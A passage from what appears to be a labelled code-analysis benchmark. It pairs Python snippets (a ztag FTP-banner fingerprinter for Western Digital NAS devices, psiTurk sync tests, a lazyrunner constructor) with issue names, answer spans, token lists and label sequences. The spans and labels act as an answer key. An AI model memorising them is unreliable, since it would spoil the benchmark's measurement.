"content": "class FtpWesternDigital(Annotation):\n protocol = protocols.FTP\n subprotocol = protocols.FTP.BANNER\n port = None\n\n productDict = {\n \"MyCloud\": re.compile(\"^220 Welcome to WD My Cloud\", re.IGNORECASE),\n \"MyBookLive\": re.compile(\n \"^220 \\\"Welcome to MyBookLive\",\n re.IGNORECASE\n )\n }\n\n tests = {\n \"FtpWesternDigital_1\": {\n \"global_metadata\": {\n \"device_type\": Type.NAS,\n \"manufacturer\": Manufacturer.WESTERN_DIGITAL,\n \"product\": \"MyBookLive\",\n }\n },\n \"FtpWesternDigital_2\": {\n \"global_metadata\": {\n \"device_type\": Type.NAS,\n \"manufacturer\": Manufacturer.WESTERN_DIGITAL,\n \"product\": \"MyCloud\",\n }\n },\n }\n\n\n \"\"\" Tests\n \"220 \\\"Welcome to MyBookLive\\\"\\r\\n\"\n \"220 Welcome to WD My Cloud\\r\\n\"\n \"220 Welcome to WD My Cloud\\r\\n\"\n \"220 \\\"Welcome to MyBookLive\\\"\\r\\n\"\n \"220 \\\"Welcome to MyBookLive\\\"\\r\\n\"\n \"220 \\\"Welcome to MyBookLive\\\"\\r\\n\"\n \"220 Welcome to WD My Cloud\\r\\n\"\n \"220 Welcome to WD My Cloud\\r\\n\"\n \"220 Welcome to WD My Cloud\\r\\n\"\n \"220 Welcome to WD My Cloud\\r\\n\"\n \"220 \\\"Welcome to MyBookLive\\\"\\r\\n\"\n \"220 Welcome to WD My Cloud\\r\\n\"\n \"220 \\\"Welcome to MyBookLive\\\"\\r\\n\"\n \"\"\"",
"metadata": "root.FtpWesternDigital",
"header": "['module', '___EOS___']",
"index": 9
},
{
"content": " def process(self, obj, meta):\n banner = obj[\"banner\"]\n\n for product, regex in self.productDict.items():\n if regex.search(banner):\n meta.global_metadata.device_type = Type.NAS\n meta.global_metadata.product = product\n\n temp = Manufacturer.WESTERN_DIGITAL\n meta.global_metadata.manufacturer = temp\n\n return meta",
"metadata": "root.FtpWesternDigital.process",
"header": "['class', 'FtpWesternDigital', '(', 'Annotation', ')', ':', '___EOS___']",
"index": 39
}
]
| [
{
"span": "from ztag.annotation import OperatingSystem",
"start_line": 2,
"start_column": 0,
"end_line": 2,
"end_column": 43
},
{
"span": "import ztag.test",
"start_line": 6,
"start_column": 0,
"end_line": 6,
"end_column": 16
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"import_",
"re_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"zt",
"ag_",
"._",
"annotation_",
"import_",
"Annotation_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"zt",
"ag_",
"._",
"annotation_",
"import_",
"Opera",
"ting",
"System_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"zt",
"ag_",
"._",
"annotation_",
"import_",
"Type_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"zt",
"ag_",
"._",
"annotation_",
"import_",
"Manufacturer",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"zt",
"ag_",
"import_",
"protocols_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"zt",
"ag_",
"._",
"test_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"Ft",
"p",
"West",
"ern",
"Digit",
"al_",
"(_",
"Annotation_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"protocol_",
"=_",
"protocols_",
"._",
"FTP",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"subpro",
"toco",
"l_",
"=_",
"protocols_",
"._",
"FTP",
"_",
"._",
"BAN",
"NER",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"port_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"product",
"Dict_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"My",
"Cloud",
"\"_",
":_",
"re_",
"._",
"compile_",
"(_",
"\"",
"^",
"220",
" ",
"Wel",
"come",
" ",
"to",
" ",
"WD",
" ",
"My",
" ",
"Cloud",
"\"_",
",_",
"re_",
"._",
"IGNORECASE_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"My",
"Boo",
"k",
"Live",
"\"_",
":_",
"re_",
"._",
"compile_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"^",
"220",
" ",
"\\\\\"",
"Wel",
"come",
" ",
"to",
" ",
"My",
"Boo",
"k",
"Live",
"\"_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"re_",
"._",
"IGNORECASE_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"tests_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"Ft",
"p",
"West",
"ern",
"Digit",
"al",
"\\u",
"1",
"\"_",
":_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"global",
"\\u",
"metadata",
"\"_",
":_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"device",
"\\u",
"type",
"\"_",
":_",
"Type_",
"._",
"NAS",
"_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"manufactur",
"er",
"\"_",
":_",
"Manufacturer",
"_",
"._",
"WES",
"TER",
"N",
"\\u",
"DIGIT",
"AL_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"product",
"\"_",
":_",
"\"",
"My",
"Boo",
"k",
"Live",
"\"_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"Ft",
"p",
"West",
"ern",
"Digit",
"al",
"\\u",
"2",
"\"_",
":_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"global",
"\\u",
"metadata",
"\"_",
":_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"device",
"\\u",
"type",
"\"_",
":_",
"Type_",
"._",
"NAS",
"_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"manufactur",
"er",
"\"_",
":_",
"Manufacturer",
"_",
"._",
"WES",
"TER",
"N",
"\\u",
"DIGIT",
"AL_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"product",
"\"_",
":_",
"\"",
"My",
"Cloud",
"\"_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\"\"\"",
" ",
"Test",
"s",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"",
"220",
" ",
"\\\\\"",
"Wel",
"come",
" ",
"to",
" ",
"My",
"Boo",
"k",
"Live",
"\\\\\"",
"\\\\",
"r",
"\\\\",
"n",
"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"",
"220",
" ",
"Wel",
"come",
" ",
"to",
" ",
"WD",
" ",
"My",
" ",
"Cloud",
"\\\\",
"r",
"\\\\",
"n",
"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"",
"220",
" ",
"Wel",
"come",
" ",
"to",
" ",
"WD",
" ",
"My",
" ",
"Cloud",
"\\\\",
"r",
"\\\\",
"n",
"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"",
"220",
" ",
"\\\\\"",
"Wel",
"come",
" ",
"to",
" ",
"My",
"Boo",
"k",
"Live",
"\\\\\"",
"\\\\",
"r",
"\\\\",
"n",
"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"",
"220",
" ",
"\\\\\"",
"Wel",
"come",
" ",
"to",
" ",
"My",
"Boo",
"k",
"Live",
"\\\\\"",
"\\\\",
"r",
"\\\\",
"n",
"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"",
"220",
" ",
"\\\\\"",
"Wel",
"come",
" ",
"to",
" ",
"My",
"Boo",
"k",
"Live",
"\\\\\"",
"\\\\",
"r",
"\\\\",
"n",
"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"",
"220",
" ",
"Wel",
"come",
" ",
"to",
" ",
"WD",
" ",
"My",
" ",
"Cloud",
"\\\\",
"r",
"\\\\",
"n",
"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"",
"220",
" ",
"Wel",
"come",
" ",
"to",
" ",
"WD",
" ",
"My",
" ",
"Cloud",
"\\\\",
"r",
"\\\\",
"n",
"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"",
"220",
" ",
"Wel",
"come",
" ",
"to",
" ",
"WD",
" ",
"My",
" ",
"Cloud",
"\\\\",
"r",
"\\\\",
"n",
"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"",
"220",
" ",
"Wel",
"come",
" ",
"to",
" ",
"WD",
" ",
"My",
" ",
"Cloud",
"\\\\",
"r",
"\\\\",
"n",
"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"",
"220",
" ",
"\\\\\"",
"Wel",
"come",
" ",
"to",
" ",
"My",
"Boo",
"k",
"Live",
"\\\\\"",
"\\\\",
"r",
"\\\\",
"n",
"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"",
"220",
" ",
"Wel",
"come",
" ",
"to",
" ",
"WD",
" ",
"My",
" ",
"Cloud",
"\\\\",
"r",
"\\\\",
"n",
"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"",
"220",
" ",
"\\\\\"",
"Wel",
"come",
" ",
"to",
" ",
"My",
"Boo",
"k",
"Live",
"\\\\\"",
"\\\\",
"r",
"\\\\",
"n",
"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"[SEP]_",
"class_",
"Ft",
"p",
"West",
"ern",
"Digit",
"al_",
"(_",
"Annotation_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"process_",
"(_",
"self_",
",_",
"obj_",
",_",
"meta_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"banner_",
"=_",
"obj_",
"[_",
"\"",
"banner",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"product_",
",_",
"regex_",
"in_",
"self_",
"._",
"product",
"Dict_",
"._",
"items_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"regex_",
"._",
"search_",
"(_",
"banner_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"meta_",
"._",
"global",
"\\u",
"metadata_",
"._",
"device",
"\\u",
"type_",
"=_",
"Type_",
"._",
"NAS",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"meta_",
"._",
"global",
"\\u",
"metadata_",
"._",
"product_",
"=_",
"product_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"temp_",
"=_",
"Manufacturer",
"_",
"._",
"WES",
"TER",
"N",
"\\u",
"DIGIT",
"AL_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"meta_",
"._",
"global",
"\\u",
"metadata_",
"._",
"manufacturer_",
"=_",
"temp_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"return_",
"meta_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Variable defined multiple times | NYUCCL/psiTurk/test_psiturk.py | [
{
"content": " def test_sync_put(self):\n request = \"&\".join([\n \"assignmentId=debug%s\" % self.assignment_id,\n \"workerId=debug%s\" % self.worker_id,\n \"hitId=debug%s\" % self.hit_id,\n \"mode=debug\"])\n\n # put the user in the database\n rv = self.app.get(\"/exp?%s\" % request)\n\n # try putting the sync\n uniqueid = \"debug%s:debug%s\" % (self.worker_id, self.assignment_id)\n rv = self.app.put('/sync/%s' % uniqueid)\n status = json.loads(rv.data).get(\"status\", \"\")\n assert status == \"user data saved\"",
"metadata": "root.PsiTurkStandardTests.test_sync_put",
"header": "['class', 'PsiTurkStandardTests', '(', 'PsiturkUnitTest', ')', ':', '___NEWLINE___', '___NL___', '# Test experiment.py', '___NL___', '# ==================', '___NL___', '___EOS___']",
"index": 110
},
{
"content": " def test_sync_get(self):\n request = \"&\".join([\n \"assignmentId=debug%s\" % self.assignment_id,\n \"workerId=debug%s\" % self.worker_id,\n \"hitId=debug%s\" % self.hit_id,\n \"mode=debug\"])\n\n # put the user in the database\n rv = self.app.get(\"/exp?%s\" % request)\n\n # save data with sync PUT\n uniqueid = \"debug%s:debug%s\" % (self.worker_id, self.assignment_id)\n rv = self.app.put('/sync/%s' % uniqueid)\n\n # get data with sync GET\n uniqueid = \"debug%s:debug%s\" % (self.worker_id, self.assignment_id)\n rv = self.app.get('/sync/%s' % uniqueid)\n\n response = json.loads(rv.data)\n assert response.get(\"assignmentId\", \"\") == \"debug%s\" % self.assignment_id\n assert response.get(\"workerId\", \"\") == \"debug%s\" % self.worker_id\n assert response.get(\"hitId\", \"\") == \"debug%s\" % self.hit_id\n assert response.get(\"condition\", None) == 0\n assert response.get(\"counterbalance\", None) == 0\n assert response.get(\"bonus\", None) == 0.0",
"metadata": "root.PsiTurkStandardTests.test_sync_get",
"header": "['class', 'PsiTurkStandardTests', '(', 'PsiturkUnitTest', ')', ':', '___NEWLINE___', '___NL___', '# Test experiment.py', '___NL___', '# ==================', '___NL___', '___EOS___']",
"index": 126
}
]
| [
{
"span": "rv ",
"start_line": 118,
"start_column": 8,
"end_line": 118,
"end_column": 10
},
{
"span": "rv ",
"start_line": 134,
"start_column": 8,
"end_line": 134,
"end_column": 10
},
{
"span": "rv ",
"start_line": 138,
"start_column": 8,
"end_line": 138,
"end_column": 10
}
]
| [
{
"span": "rv ",
"start_line": 122,
"start_column": 8,
"end_line": 122,
"end_column": 10
},
{
"span": "rv ",
"start_line": 142,
"start_column": 8,
"end_line": 142,
"end_column": 10
}
]
| 1 | true | [
"[CLS]_",
"Variable_",
"defined_",
"multiple_",
"times_",
"[SEP]_",
"class_",
"Psi",
"Turk",
"Standard",
"Tests_",
"(_",
"Psi",
"tur",
"k",
"Unit",
"Test_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Test",
" ",
"experiment",
".",
"py_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"==============",
"====",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"sync",
"\\u",
"put_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"request_",
"=_",
"\"&\"_",
"._",
"join_",
"(_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"assign",
"ment",
"Id",
"=",
"debug",
"%",
"s",
"\"_",
"%_",
"self_",
"._",
"assign",
"ment",
"\\u",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"worker",
"Id",
"=",
"debug",
"%",
"s",
"\"_",
"%_",
"self_",
"._",
"worker",
"\\u",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"hit",
"Id",
"=",
"debug",
"%",
"s",
"\"_",
"%_",
"self_",
"._",
"hit",
"\\u",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"mode",
"=",
"debug",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"put",
" ",
"the",
" ",
"user",
" ",
"in",
" ",
"the",
" ",
"database_",
"\\u\\u\\uNL\\u\\u\\u_",
"rv_",
"=_",
"self_",
"._",
"app_",
"._",
"get_",
"(_",
"\"/",
"exp",
"?",
"%",
"s",
"\"_",
"%_",
"request_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"try",
" ",
"put",
"ting",
" ",
"the",
" ",
"sync_",
"\\u\\u\\uNL\\u\\u\\u_",
"unique",
"id_",
"=_",
"\"",
"debug",
"%",
"s",
":",
"debug",
"%",
"s",
"\"_",
"%_",
"(_",
"self_",
"._",
"worker",
"\\u",
"id_",
",_",
"self_",
"._",
"assign",
"ment",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"rv_",
"=_",
"self_",
"._",
"app_",
"._",
"put_",
"(_",
"'/",
"sync",
"/",
"%",
"s",
"'_",
"%_",
"unique",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"status_",
"=_",
"json_",
"._",
"loads_",
"(_",
"rv_",
"._",
"data_",
")_",
"._",
"get_",
"(_",
"\"",
"status",
"\"_",
",_",
"\"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"status_",
"==_",
"\"",
"user",
" ",
"data",
" ",
"saved",
"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Psi",
"Turk",
"Standard",
"Tests_",
"(_",
"Psi",
"tur",
"k",
"Unit",
"Test_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Test",
" ",
"experiment",
".",
"py_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"==============",
"====",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"sync",
"\\u",
"get_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"request_",
"=_",
"\"&\"_",
"._",
"join_",
"(_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"assign",
"ment",
"Id",
"=",
"debug",
"%",
"s",
"\"_",
"%_",
"self_",
"._",
"assign",
"ment",
"\\u",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"worker",
"Id",
"=",
"debug",
"%",
"s",
"\"_",
"%_",
"self_",
"._",
"worker",
"\\u",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"hit",
"Id",
"=",
"debug",
"%",
"s",
"\"_",
"%_",
"self_",
"._",
"hit",
"\\u",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"mode",
"=",
"debug",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"put",
" ",
"the",
" ",
"user",
" ",
"in",
" ",
"the",
" ",
"database_",
"\\u\\u\\uNL\\u\\u\\u_",
"rv_",
"=_",
"self_",
"._",
"app_",
"._",
"get_",
"(_",
"\"/",
"exp",
"?",
"%",
"s",
"\"_",
"%_",
"request_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"save",
" ",
"data",
" ",
"with",
" ",
"sync",
" ",
"PUT_",
"\\u\\u\\uNL\\u\\u\\u_",
"unique",
"id_",
"=_",
"\"",
"debug",
"%",
"s",
":",
"debug",
"%",
"s",
"\"_",
"%_",
"(_",
"self_",
"._",
"worker",
"\\u",
"id_",
",_",
"self_",
"._",
"assign",
"ment",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"rv_",
"=_",
"self_",
"._",
"app_",
"._",
"put_",
"(_",
"'/",
"sync",
"/",
"%",
"s",
"'_",
"%_",
"unique",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"get",
" ",
"data",
" ",
"with",
" ",
"sync",
" ",
"GET_",
"\\u\\u\\uNL\\u\\u\\u_",
"unique",
"id_",
"=_",
"\"",
"debug",
"%",
"s",
":",
"debug",
"%",
"s",
"\"_",
"%_",
"(_",
"self_",
"._",
"worker",
"\\u",
"id_",
",_",
"self_",
"._",
"assign",
"ment",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"rv_",
"=_",
"self_",
"._",
"app_",
"._",
"get_",
"(_",
"'/",
"sync",
"/",
"%",
"s",
"'_",
"%_",
"unique",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"response_",
"=_",
"json_",
"._",
"loads_",
"(_",
"rv_",
"._",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"response_",
"._",
"get_",
"(_",
"\"",
"assign",
"ment",
"Id",
"\"_",
",_",
"\"\"_",
")_",
"==_",
"\"",
"debug",
"%",
"s",
"\"_",
"%_",
"self_",
"._",
"assign",
"ment",
"\\u",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"response_",
"._",
"get_",
"(_",
"\"",
"worker",
"Id",
"\"_",
",_",
"\"\"_",
")_",
"==_",
"\"",
"debug",
"%",
"s",
"\"_",
"%_",
"self_",
"._",
"worker",
"\\u",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"response_",
"._",
"get_",
"(_",
"\"",
"hit",
"Id",
"\"_",
",_",
"\"\"_",
")_",
"==_",
"\"",
"debug",
"%",
"s",
"\"_",
"%_",
"self_",
"._",
"hit",
"\\u",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"response_",
"._",
"get_",
"(_",
"\"",
"condition",
"\"_",
",_",
"None_",
")_",
"==_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"response_",
"._",
"get_",
"(_",
"\"",
"counter",
"balance",
"\"_",
",_",
"None_",
")_",
"==_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"response_",
"._",
"get_",
"(_",
"\"",
"bonus",
"\"_",
",_",
"None_",
")_",
"==_",
"0.0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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
3,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused local variable | hoytak/lazyrunner/lazyrunner/pmodule/pmodulebase.py | [
{
"content": " def __init__(self, pnode, parameters, results, modules):\n\n name = self._name\n \n self._pnode = pnode\n\n self.log.info('Initializing Module %s.' % self._name)\n\n self.parameters = parameters\n self.p = parameters[self._name]\n self.results = results\n self.modules = modules\n\n self.__container_map = {}\n\n # Now, call the per-class setup method\n self.setup()\n\n self.log.debug(\"Module %s set up.\" % self._name)",
"metadata": "root.PModule.__init__",
"header": "['class', 'PModule', ':', '___EOS___']",
"index": 211
}
]
| [
{
"span": "name ",
"start_line": 213,
"start_column": 8,
"end_line": 213,
"end_column": 12
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"used_",
"local_",
"variable_",
"[SEP]_",
"class_",
"PM",
"odule_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"pno",
"de_",
",_",
"parameters_",
",_",
"results_",
",_",
"modules_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"name_",
"=_",
"self_",
"._",
"\\u",
"name_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"\\u",
"pno",
"de_",
"=_",
"pno",
"de_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"log_",
